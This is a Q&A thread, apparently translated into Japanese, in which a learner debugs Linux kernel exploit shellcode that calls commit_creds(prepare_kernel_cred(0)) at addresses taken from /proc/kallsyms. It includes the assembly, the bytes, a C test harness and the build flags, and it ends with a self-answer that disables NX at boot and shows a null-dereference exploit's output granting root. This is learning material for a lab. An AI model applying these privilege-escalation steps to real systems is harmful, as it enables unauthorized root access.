web-dev-qa-db-ja.com

Linuxカーネルのエクスプロイトシェルコードがsegfaultを引き起こす

カーネルエクスプロイトの記述方法を学習していますが、私のシェルコードでsegが失敗します。

Commit_creds(prepare_kernel_cred(0));のメモリアドレスを取得しています。

#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds

#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred

shellcode.s

main:
 xor %eax,%eax
 call 0xc907f1d0
 call 0xc907eea0
 ret

シェルコードをコンパイル:

gcc -fno-stack-protector -m32 -z execstack -N -o payload payload.s -nostdlib -Ttext = 0

objdump -dシェルコード

 payload:     file format elf32-i386


 Disassembly of section .text:

  00000000 <.text>:
      0:    31 c0                   xor    %eax,%eax
      2:    e8 c9 f1 07 c9          call   c907f1d0 <__bss_start+0xc907f158>
      7:    e8 94 ee 07 c9          call   c907eea0 <__bss_start+0xc907ee28>
      c:    c3

Shell.c

#include<stdio.h>
#include<string.h>

const char shellcode[] = "\x31\xc0\xe8\xc9\xf1\x07\xc9\xe8\x94\xee\x07\xc9\xc3";

int main()
{

    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

gcc -fno-stack-protector -z execstack -m32 Shell.c -o Shell

./シェル

出力:

 Shellcode Length:  13
 Segmentation fault

X86でクラッシュする理由がわかりません。

助けてください。

1
krypt0mux

カーネルターミナルでNX Executeをオフにするだけでよいことがわかりました。

eを押してLinux行でnoexec = offと入力し、F-10を押して起動し、エクスプロイトをコンパイルします。

  gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t

また、segfaultingを続けていたため、シェルコードをテストする必要もありませんでした。

しかしそれはうまくいった!私は根を手に入れた!

出力:

  root@kali:~/null_dereference# su blake
  blake@kali:/root/null_dereference$ ./w00t 

    [-] Allocating memory.
    [-] Copying shellcode into memory.
    [-] Opening file descriptor. 

            *** BANG ***
            ------------

    [+] YOU ARE ROOT

    # id
    uid=0(root) gid=0(root) groups=0(root)
1
krypt0mux